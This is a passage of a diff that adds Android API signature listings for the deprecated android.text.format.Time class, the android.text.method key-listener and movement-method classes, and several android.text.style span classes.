+    ctor @Deprecated public Time(String);
+    ctor @Deprecated public Time();
+    ctor @Deprecated public Time(android.text.format.Time);
+    method @Deprecated public boolean after(android.text.format.Time);
+    method @Deprecated public boolean before(android.text.format.Time);
+    method @Deprecated public void clear(String);
+    method @Deprecated public static int compare(android.text.format.Time, android.text.format.Time);
+    method @Deprecated public String format(String);
+    method @Deprecated public String format2445();
+    method @Deprecated public String format3339(boolean);
+    method @Deprecated public int getActualMaximum(int);
+    method @Deprecated public static String getCurrentTimezone();
+    method @Deprecated public static int getJulianDay(long, long);
+    method @Deprecated public static int getJulianMondayFromWeeksSinceEpoch(int);
+    method @Deprecated public int getWeekNumber();
+    method @Deprecated public static int getWeeksSinceEpochFromJulianDay(int, int);
+    method @Deprecated public static boolean isEpoch(android.text.format.Time);
+    method @Deprecated public long normalize(boolean);
+    method @Deprecated public boolean parse(String);
+    method @Deprecated public boolean parse3339(String);
+    method @Deprecated public void set(long);
+    method @Deprecated public void set(android.text.format.Time);
+    method @Deprecated public void set(int, int, int, int, int, int);
+    method @Deprecated public void set(int, int, int);
+    method @Deprecated public long setJulianDay(int);
+    method @Deprecated public void setToNow();
+    method @Deprecated public void switchTimezone(String);
+    method @Deprecated public long toMillis(boolean);
+    field @Deprecated public static final int EPOCH_JULIAN_DAY = 2440588; // 0x253d8c
+    field @Deprecated public static final int FRIDAY = 5; // 0x5
+    field @Deprecated public static final int HOUR = 3; // 0x3
+    field @Deprecated public static final int MINUTE = 2; // 0x2
+    field @Deprecated public static final int MONDAY = 1; // 0x1
+    field @Deprecated public static final int MONDAY_BEFORE_JULIAN_EPOCH = 2440585; // 0x253d89
+    field @Deprecated public static final int MONTH = 5; // 0x5
+    field @Deprecated public static final int MONTH_DAY = 4; // 0x4
+    field @Deprecated public static final int SATURDAY = 6; // 0x6
+    field @Deprecated public static final int SECOND = 1; // 0x1
+    field @Deprecated public static final int SUNDAY = 0; // 0x0
+    field @Deprecated public static final int THURSDAY = 4; // 0x4
+    field @Deprecated public static final String TIMEZONE_UTC = "UTC";
+    field @Deprecated public static final int TUESDAY = 2; // 0x2
+    field @Deprecated public static final int WEDNESDAY = 3; // 0x3
+    field @Deprecated public static final int WEEK_DAY = 7; // 0x7
+    field @Deprecated public static final int WEEK_NUM = 9; // 0x9
+    field @Deprecated public static final int YEAR = 6; // 0x6
+    field @Deprecated public static final int YEAR_DAY = 8; // 0x8
+    field @Deprecated public boolean allDay;
+    field @Deprecated public long gmtoff;
+    field @Deprecated public int hour;
+    field @Deprecated public int isDst;
+    field @Deprecated public int minute;
+    field @Deprecated public int month;
+    field @Deprecated public int monthDay;
+    field @Deprecated public int second;
+    field @Deprecated public String timezone;
+    field @Deprecated public int weekDay;
+    field @Deprecated public int year;
+    field @Deprecated public int yearDay;
+  }
+
+}
+
+package android.text.method {
+
+  public class ArrowKeyMovementMethod extends android.text.method.BaseMovementMethod implements android.text.method.MovementMethod {
+    ctor public ArrowKeyMovementMethod();
+    method public static android.text.method.MovementMethod getInstance();
+  }
+
+  public abstract class BaseKeyListener extends android.text.method.MetaKeyKeyListener implements android.text.method.KeyListener {
+    ctor public BaseKeyListener();
+    method public boolean backspace(android.view.View, android.text.Editable, int, android.view.KeyEvent);
+    method public boolean forwardDelete(android.view.View, android.text.Editable, int, android.view.KeyEvent);
+    method public boolean onKeyOther(android.view.View, android.text.Editable, android.view.KeyEvent);
+  }
+
+  public class BaseMovementMethod implements android.text.method.MovementMethod {
+    ctor public BaseMovementMethod();
+    method protected boolean bottom(android.widget.TextView, android.text.Spannable);
+    method public boolean canSelectArbitrarily();
+    method protected boolean down(android.widget.TextView, android.text.Spannable);
+    method protected boolean end(android.widget.TextView, android.text.Spannable);
+    method protected int getMovementMetaState(android.text.Spannable, android.view.KeyEvent);
+    method protected boolean handleMovementKey(android.widget.TextView, android.text.Spannable, int, int, android.view.KeyEvent);
+    method protected boolean home(android.widget.TextView, android.text.Spannable);
+    method public void initialize(android.widget.TextView, android.text.Spannable);
+    method protected boolean left(android.widget.TextView, android.text.Spannable);
+    method protected boolean lineEnd(android.widget.TextView, android.text.Spannable);
+    method protected boolean lineStart(android.widget.TextView, android.text.Spannable);
+    method public boolean onGenericMotionEvent(android.widget.TextView, android.text.Spannable, android.view.MotionEvent);
+    method public boolean onKeyDown(android.widget.TextView, android.text.Spannable, int, android.view.KeyEvent);
+    method public boolean onKeyOther(android.widget.TextView, android.text.Spannable, android.view.KeyEvent);
+    method public boolean onKeyUp(android.widget.TextView, android.text.Spannable, int, android.view.KeyEvent);
+    method public void onTakeFocus(android.widget.TextView, android.text.Spannable, int);
+    method public boolean onTouchEvent(android.widget.TextView, android.text.Spannable, android.view.MotionEvent);
+    method public boolean onTrackballEvent(android.widget.TextView, android.text.Spannable, android.view.MotionEvent);
+    method protected boolean pageDown(android.widget.TextView, android.text.Spannable);
+    method protected boolean pageUp(android.widget.TextView, android.text.Spannable);
+    method protected boolean right(android.widget.TextView, android.text.Spannable);
+    method protected boolean top(android.widget.TextView, android.text.Spannable);
+    method protected boolean up(android.widget.TextView, android.text.Spannable);
+  }
+
+  public class CharacterPickerDialog extends android.app.Dialog implements android.widget.AdapterView.OnItemClickListener android.view.View.OnClickListener {
+    ctor public CharacterPickerDialog(android.content.Context, android.view.View, android.text.Editable, String, boolean);
+    method public void onClick(android.view.View);
+    method public void onItemClick(android.widget.AdapterView, android.view.View, int, long);
+  }
+
+  public class DateKeyListener extends android.text.method.NumberKeyListener {
+    ctor @Deprecated public DateKeyListener();
+    ctor public DateKeyListener(@Nullable java.util.Locale);
+    method @NonNull protected char[] getAcceptedChars();
+    method public int getInputType();
+    method @Deprecated @NonNull public static android.text.method.DateKeyListener getInstance();
+    method @NonNull public static android.text.method.DateKeyListener getInstance(@Nullable java.util.Locale);
+    field @Deprecated public static final char[] CHARACTERS;
+  }
+
+  public class DateTimeKeyListener extends android.text.method.NumberKeyListener {
+    ctor @Deprecated public DateTimeKeyListener();
+    ctor public DateTimeKeyListener(@Nullable java.util.Locale);
+    method @NonNull protected char[] getAcceptedChars();
+    method public int getInputType();
+    method @Deprecated @NonNull public static android.text.method.DateTimeKeyListener getInstance();
+    method @NonNull public static android.text.method.DateTimeKeyListener getInstance(@Nullable java.util.Locale);
+    field @Deprecated public static final char[] CHARACTERS;
+  }
+
+  public class DialerKeyListener extends android.text.method.NumberKeyListener {
+    ctor public DialerKeyListener();
+    method protected char[] getAcceptedChars();
+    method public int getInputType();
+    method public static android.text.method.DialerKeyListener getInstance();
+    field public static final char[] CHARACTERS;
+  }
+
+  public class DigitsKeyListener extends android.text.method.NumberKeyListener {
+    ctor @Deprecated public DigitsKeyListener();
+    ctor @Deprecated public DigitsKeyListener(boolean, boolean);
+    ctor public DigitsKeyListener(@Nullable java.util.Locale);
+    ctor public DigitsKeyListener(@Nullable java.util.Locale, boolean, boolean);
+    method protected char[] getAcceptedChars();
+    method public int getInputType();
+    method @Deprecated @NonNull public static android.text.method.DigitsKeyListener getInstance();
+    method @Deprecated @NonNull public static android.text.method.DigitsKeyListener getInstance(boolean, boolean);
+    method @NonNull public static android.text.method.DigitsKeyListener getInstance(@Nullable java.util.Locale);
+    method @NonNull public static android.text.method.DigitsKeyListener getInstance(@Nullable java.util.Locale, boolean, boolean);
+    method @NonNull public static android.text.method.DigitsKeyListener getInstance(@NonNull String);
+  }
+
+  public class HideReturnsTransformationMethod extends android.text.method.ReplacementTransformationMethod {
+    ctor public HideReturnsTransformationMethod();
+    method public static android.text.method.HideReturnsTransformationMethod getInstance();
+    method protected char[] getOriginal();
+    method protected char[] getReplacement();
+  }
+
+  public interface KeyListener {
+    method public void clearMetaKeyState(android.view.View, android.text.Editable, int);
+    method public int getInputType();
+    method public boolean onKeyDown(android.view.View, android.text.Editable, int, android.view.KeyEvent);
+    method public boolean onKeyOther(android.view.View, android.text.Editable, android.view.KeyEvent);
+    method public boolean onKeyUp(android.view.View, android.text.Editable, int, android.view.KeyEvent);
+  }
+
+  public class LinkMovementMethod extends android.text.method.ScrollingMovementMethod {
+    ctor public LinkMovementMethod();
+    method public static android.text.method.MovementMethod getInstance();
+  }
+
+  public abstract class MetaKeyKeyListener {
+    ctor public MetaKeyKeyListener();
+    method public static void adjustMetaAfterKeypress(android.text.Spannable);
+    method public static long adjustMetaAfterKeypress(long);
+    method public void clearMetaKeyState(android.view.View, android.text.Editable, int);
+    method public static void clearMetaKeyState(android.text.Editable, int);
+    method public long clearMetaKeyState(long, int);
+    method public static final int getMetaState(CharSequence);
+    method public static final int getMetaState(CharSequence, android.view.KeyEvent);
+    method public static final int getMetaState(CharSequence, int);
+    method public static final int getMetaState(CharSequence, int, android.view.KeyEvent);
+    method public static final int getMetaState(long);
+    method public static final int getMetaState(long, int);
+    method public static long handleKeyDown(long, int, android.view.KeyEvent);
+    method public static long handleKeyUp(long, int, android.view.KeyEvent);
+    method public static boolean isMetaTracker(CharSequence, Object);
+    method public static boolean isSelectingMetaTracker(CharSequence, Object);
+    method public boolean onKeyDown(android.view.View, android.text.Editable, int, android.view.KeyEvent);
+    method public boolean onKeyUp(android.view.View, android.text.Editable, int, android.view.KeyEvent);
+    method protected static void resetLockedMeta(android.text.Spannable);
+    method public static long resetLockedMeta(long);
+    method public static void resetMetaState(android.text.Spannable);
+    field public static final int META_ALT_LOCKED = 512; // 0x200
+    field public static final int META_ALT_ON = 2; // 0x2
+    field public static final int META_CAP_LOCKED = 256; // 0x100
+    field public static final int META_SHIFT_ON = 1; // 0x1
+    field public static final int META_SYM_LOCKED = 1024; // 0x400
+    field public static final int META_SYM_ON = 4; // 0x4
+  }
+
+  public interface MovementMethod {
+    method public boolean canSelectArbitrarily();
+    method public void initialize(android.widget.TextView, android.text.Spannable);
+    method public boolean onGenericMotionEvent(android.widget.TextView, android.text.Spannable, android.view.MotionEvent);
+    method public boolean onKeyDown(android.widget.TextView, android.text.Spannable, int, android.view.KeyEvent);
+    method public boolean onKeyOther(android.widget.TextView, android.text.Spannable, android.view.KeyEvent);
+    method public boolean onKeyUp(android.widget.TextView, android.text.Spannable, int, android.view.KeyEvent);
+    method public void onTakeFocus(android.widget.TextView, android.text.Spannable, int);
+    method public boolean onTouchEvent(android.widget.TextView, android.text.Spannable, android.view.MotionEvent);
+    method public boolean onTrackballEvent(android.widget.TextView, android.text.Spannable, android.view.MotionEvent);
+  }
+
+  public class MultiTapKeyListener extends android.text.method.BaseKeyListener implements android.text.SpanWatcher {
+    ctor public MultiTapKeyListener(android.text.method.TextKeyListener.Capitalize, boolean);
+    method public int getInputType();
+    method public static android.text.method.MultiTapKeyListener getInstance(boolean, android.text.method.TextKeyListener.Capitalize);
+    method public void onSpanAdded(android.text.Spannable, Object, int, int);
+    method public void onSpanChanged(android.text.Spannable, Object, int, int, int, int);
+    method public void onSpanRemoved(android.text.Spannable, Object, int, int);
+  }
+
+  public abstract class NumberKeyListener extends android.text.method.BaseKeyListener implements android.text.InputFilter {
+    ctor public NumberKeyListener();
+    method public CharSequence filter(CharSequence, int, int, android.text.Spanned, int, int);
+    method @NonNull protected abstract char[] getAcceptedChars();
+    method protected int lookup(android.view.KeyEvent, android.text.Spannable);
+    method protected static boolean ok(char[], char);
+  }
+
+  public class PasswordTransformationMethod implements android.text.TextWatcher android.text.method.TransformationMethod {
+    ctor public PasswordTransformationMethod();
+    method public void afterTextChanged(android.text.Editable);
+    method public void beforeTextChanged(CharSequence, int, int, int);
+    method public static android.text.method.PasswordTransformationMethod getInstance();
+    method public CharSequence getTransformation(CharSequence, android.view.View);
+    method public void onFocusChanged(android.view.View, CharSequence, boolean, int, android.graphics.Rect);
+    method public void onTextChanged(CharSequence, int, int, int);
+  }
+
+  public class QwertyKeyListener extends android.text.method.BaseKeyListener {
+    ctor public QwertyKeyListener(android.text.method.TextKeyListener.Capitalize, boolean);
+    method public int getInputType();
+    method public static android.text.method.QwertyKeyListener getInstance(boolean, android.text.method.TextKeyListener.Capitalize);
+    method public static android.text.method.QwertyKeyListener getInstanceForFullKeyboard();
+    method public static void markAsReplaced(android.text.Spannable, int, int, String);
+  }
+
+  public abstract class ReplacementTransformationMethod implements android.text.method.TransformationMethod {
+    ctor public ReplacementTransformationMethod();
+    method protected abstract char[] getOriginal();
+    method protected abstract char[] getReplacement();
+    method public CharSequence getTransformation(CharSequence, android.view.View);
+    method public void onFocusChanged(android.view.View, CharSequence, boolean, int, android.graphics.Rect);
+  }
+
+  public class ScrollingMovementMethod extends android.text.method.BaseMovementMethod implements android.text.method.MovementMethod {
+    ctor public ScrollingMovementMethod();
+    method public static android.text.method.MovementMethod getInstance();
+  }
+
+  public class SingleLineTransformationMethod extends android.text.method.ReplacementTransformationMethod {
+    ctor public SingleLineTransformationMethod();
+    method public static android.text.method.SingleLineTransformationMethod getInstance();
+    method protected char[] getOriginal();
+    method protected char[] getReplacement();
+  }
+
+  public class TextKeyListener extends android.text.method.BaseKeyListener implements android.text.SpanWatcher {
+    ctor public TextKeyListener(android.text.method.TextKeyListener.Capitalize, boolean);
+    method public static void clear(android.text.Editable);
+    method public int getInputType();
+    method public static android.text.method.TextKeyListener getInstance(boolean, android.text.method.TextKeyListener.Capitalize);
+    method public static android.text.method.TextKeyListener getInstance();
+    method public void onSpanAdded(android.text.Spannable, Object, int, int);
+    method public void onSpanChanged(android.text.Spannable, Object, int, int, int, int);
+    method public void onSpanRemoved(android.text.Spannable, Object, int, int);
+    method public void release();
+    method public static boolean shouldCap(android.text.method.TextKeyListener.Capitalize, CharSequence, int);
+  }
+
+  public enum TextKeyListener.Capitalize {
+    enum_constant public static final android.text.method.TextKeyListener.Capitalize CHARACTERS;
+    enum_constant public static final android.text.method.TextKeyListener.Capitalize NONE;
+    enum_constant public static final android.text.method.TextKeyListener.Capitalize SENTENCES;
+    enum_constant public static final android.text.method.TextKeyListener.Capitalize WORDS;
+  }
+
+  public class TimeKeyListener extends android.text.method.NumberKeyListener {
+    ctor @Deprecated public TimeKeyListener();
+    ctor public TimeKeyListener(@Nullable java.util.Locale);
+    method @NonNull protected char[] getAcceptedChars();
+    method public int getInputType();
+    method @Deprecated @NonNull public static android.text.method.TimeKeyListener getInstance();
+    method @NonNull public static android.text.method.TimeKeyListener getInstance(@Nullable java.util.Locale);
+    field @Deprecated public static final char[] CHARACTERS;
+  }
+
+  public class Touch {
+    method public static int getInitialScrollX(android.widget.TextView, android.text.Spannable);
+    method public static int getInitialScrollY(android.widget.TextView, android.text.Spannable);
+    method public static boolean onTouchEvent(android.widget.TextView, android.text.Spannable, android.view.MotionEvent);
+    method public static void scrollTo(android.widget.TextView, android.text.Layout, int, int);
+  }
+
+  public interface TransformationMethod {
+    method public CharSequence getTransformation(CharSequence, android.view.View);
+    method public void onFocusChanged(android.view.View, CharSequence, boolean, int, android.graphics.Rect);
+  }
+
+}
+
+package android.text.style {
+
+  public class AbsoluteSizeSpan extends android.text.style.MetricAffectingSpan implements android.text.ParcelableSpan {
+    ctor public AbsoluteSizeSpan(int);
+    ctor public AbsoluteSizeSpan(int, boolean);
+    ctor public AbsoluteSizeSpan(@NonNull android.os.Parcel);
+    method public int describeContents();
+    method public boolean getDip();
+    method public int getSize();
+    method public int getSpanTypeId();
+    method public void updateDrawState(@NonNull android.text.TextPaint);
+    method public void updateMeasureState(@NonNull android.text.TextPaint);
+    method public void writeToParcel(@NonNull android.os.Parcel, int);
+  }
+
+  public interface AlignmentSpan extends android.text.style.ParagraphStyle {
+    method public android.text.Layout.Alignment getAlignment();
+  }
+
+  public static class AlignmentSpan.Standard implements android.text.style.AlignmentSpan android.text.ParcelableSpan {
+    ctor public AlignmentSpan.Standard(@NonNull android.text.Layout.Alignment);
+    ctor public AlignmentSpan.Standard(@NonNull android.os.Parcel);
+    method public int describeContents();
+    method public android.text.Layout.Alignment getAlignment();
+    method public int getSpanTypeId();
+    method public void writeToParcel(@NonNull android.os.Parcel, int);
+  }
+
+  public class BackgroundColorSpan extends android.text.style.CharacterStyle implements android.text.ParcelableSpan android.text.style.UpdateAppearance {
+    ctor public BackgroundColorSpan(@ColorInt int);
+    ctor public BackgroundColorSpan(@NonNull android.os.Parcel);
+    method public int describeContents();
+    method @ColorInt public int getBackgroundColor();
+    method public int getSpanTypeId();
+    method public void updateDrawState(@NonNull android.text.TextPaint);
+    method public void writeToParcel(@NonNull android.os.Parcel, int);
+  }
+
+  public class BulletSpan implements android.text.style.LeadingMarginSpan android.text.ParcelableSpan {
+    ctor public BulletSpan();
+    ctor public BulletSpan(int);
+    ctor public BulletSpan(int, @ColorInt int);
+    ctor public BulletSpan(int, @ColorInt int, @IntRange(from=0) int);
+    ctor public BulletSpan(@NonNull android.os.Parcel);
+    method public int describeContents();
+    method public void drawLeadingMargin(@NonNull android.graphics.Canvas, @NonNull android.graphics.Paint, int, int, int, int, int, @NonNull CharSequence, int, int, boolean, @Nullable android.text.Layout);
+    method public int getBulletRadius();
+    method public int getColor();
+    method public int getGapWidth();
+    method public int getLeadingMargin(boolean);
+    method public int getSpanTypeId();
+    method public void writeToParcel(@NonNull android.os.Parcel, int);
+    field public static final int STANDARD_GAP_WIDTH = 2; // 0x2
+  }
+
+  public abstract class CharacterStyle {
+    ctor public CharacterStyle();
+    method public android.text.style.CharacterStyle getUnderlying();
+    method public abstract void updateDrawState(android.text.TextPaint);
+    method public static android.text.style.CharacterStyle wrap(android.text.style.CharacterStyle);
+  }
+
+  public abstract class ClickableSpan extends android.text.style.CharacterStyle implements android.text.style.UpdateAppearance {
+    ctor public ClickableSpan();
+    method public abstract void onClick(@NonNull android.view.View);
+    method public void updateDrawState(@NonNull android.text.TextPaint);
+  }
+
+  public class DrawableMarginSpan implements android.text.style.LeadingMarginSpan android.text.style.LineHeightSpan {
+    ctor public DrawableMarginSpan(@NonNull android.graphics.drawable.Drawable);
+    ctor public DrawableMarginSpan(@NonNull android.graphics.drawable.Drawable, int);
+    method public void chooseHeight(@NonNull CharSequence, int, int, int, int, @NonNull android.graphics.Paint.FontMetricsInt);
+    method public void drawLeadingMargin(@NonNull android.graphics.Canvas, @NonNull android.graphics.Paint, int, int, int, int, int, @NonNull CharSequence, int, int, boolean, @NonNull android.text.Layout);
+    method public int getLeadingMargin(boolean);
+  }
+
+  public abstract class DynamicDrawableSpan extends android.text.style.ReplacementSpan {
+    ctor public DynamicDrawableSpan();
+    ctor protected DynamicDrawableSpan(int);
+    method public void draw(@NonNull android.graphics.Canvas, CharSequence, @IntRange(from=0) int, @IntRange(from=0) int, float, int, int, int, @NonNull android.graphics.Paint);
+    method public abstract android.graphics.drawable.Drawable getDrawable();
+    method public int getSize(@NonNull android.graphics.Paint, CharSequence, @IntRange(from=0) int, @IntRange(from=0) int, @Nullable android.graphics.Paint.FontMetricsInt);
+    method public int getVerticalAlignment();
+    field public static final int ALIGN_BASELINE = 1; // 0x1
+    field public static final int ALIGN_BOTTOM = 0; // 0x0
+    field public static final int ALIGN_CENTER = 2; // 0x2
+    field protected final int mVerticalAlignment;
+  }
+
+  public class EasyEditSpan implements android.text.ParcelableSpan {
+    ctor public EasyEditSpan();
+    ctor public EasyEditSpan(android.app.PendingIntent);
+    ctor public EasyEditSpan(@NonNull android.os.Parcel);
+    method public int describeContents();
+    method public int getSpanTypeId();
+    method public void writeToParcel(@NonNull android.os.Parcel, int);
+    field public static final String EXTRA_TEXT_CHANGED_TYPE = "android.text.style.EXTRA_TEXT_CHANGED_TYPE";
+    field public static final int TEXT_DELETED = 1; // 0x1
+    field public static final int TEXT_MODIFIED = 2; // 0x2
+  }
+
+  public class ForegroundColorSpan extends android.text.style.CharacterStyle implements android.text.ParcelableSpan android.text.style.UpdateAppearance {
+    ctor public ForegroundColorSpan(@ColorInt int);
+    ctor public ForegroundColorSpan(@NonNull android.os.Parcel);
+    method public int describeContents();
+    method @ColorInt public int getForegroundColor();
+    method public int getSpanTypeId();
+    method public void updateDrawState(@NonNull android.text.TextPaint);
+    method public void writeToParcel(@NonNull android.os.Parcel, int);
+  }
+
+  public class IconMarginSpan implements android.text.style.LeadingMarginSpan android.text.style.LineHeightSpan {
+    ctor public IconMarginSpan(@NonNull android.graphics.Bitmap);
+    ctor public IconMarginSpan(@NonNull android.graphics.Bitmap, @IntRange(from=0) int);
+    method public void chooseHeight(CharSequence, int, int, int, int, android.graphics.Paint.FontMetricsInt);
+    method public void drawLeadingMargin(android.graphics.Canvas, android.graphics.Paint, int, int, int, int, int, CharSequence, int, int, boolean, android.text.Layout);
+    method public int getLeadingMargin(boolean);
+  }
+
+  public class ImageSpan extends android.text.style.DynamicDrawableSpan {
+    ctor @Deprecated public ImageSpan(@NonNull android.graphics.Bitmap);
+    ctor @Deprecated public ImageSpan(@NonNull android.graphics.Bitmap, int);
+    ctor public ImageSpan(@NonNull android.content.Context, @NonNull android.graphics.Bitmap);
+    ctor public ImageSpan(@NonNull android.content.Context, @NonNull android.graphics.Bitmap, int);
+    ctor public ImageSpan(@NonNull android.graphics.drawable.Drawable);
+    ctor public ImageSpan(@NonNull android.graphics.drawable.Drawable, int);
+    ctor public ImageSpan(@NonNull android.graphics.drawable.Drawable, @NonNull String);
+    ctor public ImageSpan(@NonNull android.graphics.drawable.Drawable, @NonNull String, int);
+    ctor public ImageSpan(@NonNull android.content.Context, @NonNull android.net.Uri);
+    ctor public ImageSpan(@NonNull android.content.Context, @NonNull android.net.Uri, int);
+    ctor public ImageSpan(@NonNull android.content.Context, @DrawableRes int);
+    ctor public ImageSpan(@NonNull android.content.Context, @DrawableRes int, int);
+    method public android.graphics.drawable.Drawable getDrawable();
+    method @Nullable public String getSource();
+  }
+
+  public interface LeadingMarginSpan extends android.text.style.ParagraphStyle {
+    method public void drawLeadingMargin(android.graphics.Canvas, android.graphics.Paint, int, int, int, int, int, CharSequence, int, int, boolean, android.text.Layout);
+    method public int getLeadingMargin(boolean);
+  }
+
+  public static interface LeadingMarginSpan.LeadingMarginSpan2 extends android.text.style.LeadingMarginSpan android.text.style.WrapTogetherSpan {
+    method public int getLeadingMarginLineCount();
+  }
+
+  public static class LeadingMarginSpan.Standard implements android.text.style.LeadingMarginSpan android.text.ParcelableSpan {
+    ctor public LeadingMarginSpan.Standard(int, int);
+    ctor public LeadingMarginSpan.Standard(int);
+    ctor public LeadingMarginSpan.Standard(android.os.Parcel);
+    method public int describeContents();
+    method public void drawLeadingMargin(android.graphics.Canvas, android.graphics.Paint, int, int, int, int, int, CharSequence, int, int, boolean, android.text.Layout);
+    method public int getLeadingMargin(boolean);
+    method public int getSpanTypeId();
+    method public void writeToParcel(android.os.Parcel, int);
+  }
+
+  public interface LineBackgroundSpan extends android.text.style.ParagraphStyle {
+    method public void drawBackground(@NonNull android.graphics.Canvas, @NonNull android.graphics.Paint, @Px int, @Px int, @Px int, @Px int, @Px int, @NonNull CharSequence, int, int, int);
+  }
+
+  public static class LineBackgroundSpan.Standard implements android.text.style.LineBackgroundSpan android.text.ParcelableSpan {
+    ctor public LineBackgroundSpan.Standard(@ColorInt int);
+    ctor public LineBackgroundSpan.Standard(@NonNull android.os.Parcel);
+    method public int describeContents();
+    method public void drawBackground(@NonNull android.graphics.Canvas, @NonNull android.graphics.Paint, @Px int, @Px int, @Px int, @Px int, @Px int, @NonNull CharSequence, int, int, int);
+    method @ColorInt public final int getColor();
+    method public int getSpanTypeId();
+    method public void writeToParcel(@NonNull android.os.Parcel, int);
+  }
+
+  public interface LineHeightSpan extends android.text.style.ParagraphStyle android.text.style.WrapTogetherSpan {
+    method public void chooseHeight(CharSequence, int, int, int, int, android.graphics.Paint.FontMetricsInt);
+  }
+
+  public static class LineHeightSpan.Standard implements android.text.style.LineHeightSpan android.text.ParcelableSpan {
+    ctor public LineHeightSpan.Standard(@IntRange(from=1) @Px int);
+    ctor public LineHeightSpan.Standard(@NonNull android.os.Parcel);
+    method public void chooseHeight(@NonNull CharSequence, int, int, int, int, @NonNull android.graphics.Paint.FontMetricsInt);
+    method public int describeContents();
+    method @Px public int getHeight();
+    method public int getSpanTypeId();
+    method public void writeToParcel(android.os.Parcel, int);
+  }
+
+  public static interface LineHeightSpan.WithDensity extends android.text.style.LineHeightSpan {
+    method public void chooseHeight(CharSequence, int, int, int, int, android.graphics.Paint.FontMetricsInt, android.text.TextPaint);
+  }
+
+  public class LocaleSpan extends android.text.style.MetricAffectingSpan implements android.text.ParcelableSpan {
+    ctor public LocaleSpan(@Nullable java.util.Locale);
+    ctor public LocaleSpan(@NonNull android.os.LocaleList);
+    ctor public LocaleSpan(android.os.Parcel);
+    method public int describeContents();
+    method @Nullable public java.util.Locale getLocale();
+    method @NonNull public android.os.LocaleList getLocales();
+    method public int getSpanTypeId();
+    method public void updateDrawState(android.text.TextPaint);
+    method public void updateMeasureState(android.text.TextPaint);
+    method public void writeToParcel(android.os.Parcel, int);
+  }
+
+  public class MaskFilterSpan extends android.text.style.CharacterStyle implements android.text.style.UpdateAppearance {
+    ctor public MaskFilterSpan(android.graphics.MaskFilter);
+    method public android.graphics.MaskFilter getMaskFilter();
+    method public void updateDrawState(android.text.TextPaint);
+  }
+
+  public abstract class MetricAffectingSpan extends android.text.style.CharacterStyle implements android.text.style.UpdateLayout {
+    ctor public MetricAffectingSpan();
+    method public android.text.style.MetricAffectingSpan getUnderlying();
+    method public abstract void updateMeasureState(@NonNull android.text.TextPaint);
+  }
+
+  public interface ParagraphStyle {
+  }
+
+  public class QuoteSpan implements android.text.style.LeadingMarginSpan android.text.ParcelableSpan {
+    ctor public QuoteSpan();
+    ctor public QuoteSpan(@ColorInt int);
+    ctor public QuoteSpan(@ColorInt int, @IntRange(from=0) int, @IntRange(from=0) int);
+    ctor public QuoteSpan(@NonNull android.os.Parcel);
+    method public int describeContents();
+    method public void drawLeadingMargin(@NonNull android.graphics.Canvas, @NonNull android.graphics.Paint, int, int, int, int, int, @NonNull CharSequence, int, int, boolean, @NonNull android.text.Layout);
+    method @ColorInt public int getColor();
+    method public int getGapWidth();
+    method public int getLeadingMargin(boolean);
+    method public int getSpanTypeId();
+    method public int getStripeWidth();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @ColorInt public static final int STANDARD_COLOR = -16776961; // 0xff0000ff
+    field public static final int STANDARD_GAP_WIDTH_PX = 2; // 0x2
+    field public static final int STANDARD_STRIPE_WIDTH_PX = 2; // 0x2
+  }
+
+  public class RelativeSizeSpan extends android.text.style.MetricAffectingSpan implements android.text.ParcelableSpan {
+    ctor public RelativeSizeSpan(@FloatRange(from=0) float);
+    ctor public RelativeSizeSpan(@NonNull android.os.Parcel);
+    method public int describeContents();
+    method public float getSizeChange();
+    method public int getSpanTypeId();
+    method public void updateDrawState(@NonNull android.text.TextPaint);
+    method public void updateMeasureState(@NonNull android.text.TextPaint);
+    method public void writeToParcel(@NonNull android.os.Parcel, int);
+  }
+
+  public abstract class ReplacementSpan extends android.text.style.MetricAffectingSpan {
+    ctor public ReplacementSpan();
+    method public abstract void draw(@NonNull android.graphics.Canvas, CharSequence, @IntRange(from=0) int, @IntRange(from=0) int, float, int, int, int, @NonNull android.graphics.Paint);
+    method @Nullable public CharSequence getContentDescription();
+    method public abstract int getSize(@NonNull android.graphics.Paint, CharSequence, @IntRange(from=0) int, @IntRange(from=0) int, @Nullable android.graphics.Paint.FontMetricsInt);
+    method public void setContentDescription(@Nullable CharSequence);
+    method public void updateDrawState(android.text.TextPaint);
+    method public void updateMeasureState(android.text.TextPaint);
+  }
+
+  public class ScaleXSpan extends android.text.style.MetricAffectingSpan implements android.text.ParcelableSpan {
+    ctor public ScaleXSpan(@FloatRange(from=0) float);
+    ctor public ScaleXSpan(@NonNull android.os.Parcel);
+    method public int describeContents();
+    method public float getScaleX();
+    method public int getSpanTypeId();
+    method public void updateDrawState(android.text.TextPaint);
+    method public void updateMeasureState(android.text.TextPaint);
+    method public void writeToParcel(@NonNull android.os.Parcel, int);
+  }
+
+  public class StrikethroughSpan extends android.text.style.CharacterStyle implements android.text.ParcelableSpan android.text.style.UpdateAppearance {
+    ctor public StrikethroughSpan();
+    ctor public StrikethroughSpan(@NonNull android.os.Parcel);
+    method public int describeContents();
+    method public int getSpanTypeId();
+    method public void updateDrawState(@NonNull android.text.TextPaint);
+    method public void writeToParcel(@NonNull android.os.Parcel, int);
+  }
+
+  public class StyleSpan extends android.text.style.MetricAffectingSpan implements android.text.ParcelableSpan {
+    ctor public StyleSpan(int);
+    ctor public StyleSpan(@NonNull android.os.Parcel);
+    method public int describeContents();
+    method public int getSpanTypeId();
+    method public int getStyle();
+    method public void updateDrawState(android.text.TextPaint);
+    method public void updateMeasureState(android.text.TextPaint);
+    method public void writeToParcel(android.os.Parcel, int);
+  }
+
+  public class SubscriptSpan extends android.text.style.MetricAffectingSpan implements android.text.ParcelableSpan {
+    ctor public SubscriptSpan();
+    ctor public SubscriptSpan(@NonNull android.os.Parcel);
+    method public int describeContents();
+    method public int getSpanTypeId();
+    method public void updateDrawState(@NonNull android.text.TextPaint);
+    method public void updateMeasureState(@NonNull android.text.TextPaint);
+    method public void writeToParcel(android.os.Parcel, int);
+  }
+
+  public class SuggestionSpan extends android.text.style.CharacterStyle implements android.text.ParcelableSpan {
+    ctor public SuggestionSpan(android.content.Context, String[], int);
+    ctor public SuggestionSpan(java.util.Locale, String[], int);
+    ctor public SuggestionSpan(android.content.Context, java.util.Locale, String[], int, Class<?>);
+    ctor public SuggestionSpan(android.os.Parcel);
+    method public int describeContents();
+    method public int getFlags();
+    method @Deprecated @NonNull public String getLocale();
+    method @Nullable public java.util.Locale getLocaleObject();
+    method public int getSpanTypeId();
+    method public String[] getSuggestions();
+    method @ColorInt public int getUnderlineColor();
+    method public void setFlags(int);
+    method public void updateDrawState(android.text.TextPaint);
+    method public void writeToParcel(android.os.Parcel, int);
